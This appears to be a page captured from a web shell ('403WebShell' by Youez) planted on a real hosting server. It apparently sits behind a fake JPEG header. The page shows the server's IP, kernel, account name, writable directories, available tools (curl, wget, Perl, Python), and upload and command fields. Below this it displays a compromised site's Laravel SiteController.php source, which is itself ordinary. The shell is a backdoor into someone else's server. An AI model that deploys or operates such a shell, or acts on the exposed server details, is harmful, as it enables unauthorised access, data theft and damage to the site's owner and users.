����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.188.80.46
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/cbt.bofirm.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/cbt.bofirm.com/app/Http/Controllers/SiteController.php
<?php
/**
 * File name: SiteController.php
 * Last modified: 06/07/21, 11:42 AM
 * Author: NearCraft - https://codecanyon.net/user/nearcraft
 * Copyright (c) 2021
 */

namespace App\Http\Controllers;

use App\Models\Feature;
use App\Models\SubCategory;
use App\Settings\HomePageSettings;
use App\Settings\PaymentSettings;
use App\Settings\SiteSettings;
use App\Transformers\Platform\PlanTransformer;
use App\Transformers\Platform\PricingTransformer;

class SiteController extends Controller
{
    /**
     * Welcome page
     *
     * @param HomePageSettings $homePageSettings
     * @param SiteSettings $siteSettings
     * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View
     */
    public function index(HomePageSettings $homePageSettings, SiteSettings $siteSettings)
    {
        return view('store.index', [
            'siteSettings' => $siteSettings,
            'homePageSettings' => $homePageSettings
        ]);
    }

    /**
     * Explore category page
     *
     * @param $slug
     * @param HomePageSettings $homePageSettings
     * @param SiteSettings $siteSettings
     * @param PaymentSettings $paymentSettings
     * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View
     */
    public function explore($slug, HomePageSettings $homePageSettings, SiteSettings $siteSettings, PaymentSettings $paymentSettings)
    {
        $category = SubCategory::with(['plans' => function($query) {
            $query->where('is_active', '=', 1)->orderBy('sort_order')->with('features');
        }])->where('slug', $slug)->firstOrFail();

        $features = Feature::orderBy('sort_order')->get();

        return view('store.explore', [
            'category' => $category->only(['id', 'name', 'headline', 'short_description']),
            'least_price' => formatPrice($category->plans->min('price'), $paymentSettings->currency_symbol, $paymentSettings->currency_symbol_position),
            'plans' => fractal($category->plans, new PlanTransformer($features))->toArray()['data'],
            'siteSettings' => $siteSettings,
            'homePageSettings' => $homePageSettings
        ]);
    }

    public function pricing(HomePageSettings $homePageSettings, SiteSettings $siteSettings)
    {
        $features = Feature::orderBy('sort_order')->get();
        $categories = SubCategory::whereHas('plans')->with(['category:id,name', 'plans' => function($query) {
            $query->where('is_active', '=', 1)->orderBy('sort_order')->with('features');
        }])->orderBy('sub_categories.name')->get();
        return view('store.pricing', [
            'categories' => fractal($categories, new PricingTransformer($features))->toArray()['data'],
            'selectedCategory' => $categories->count() > 0 ? $categories->first()->code : '',
            'siteSettings' => $siteSettings,
            'homePageSettings' => $homePageSettings
        ]);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit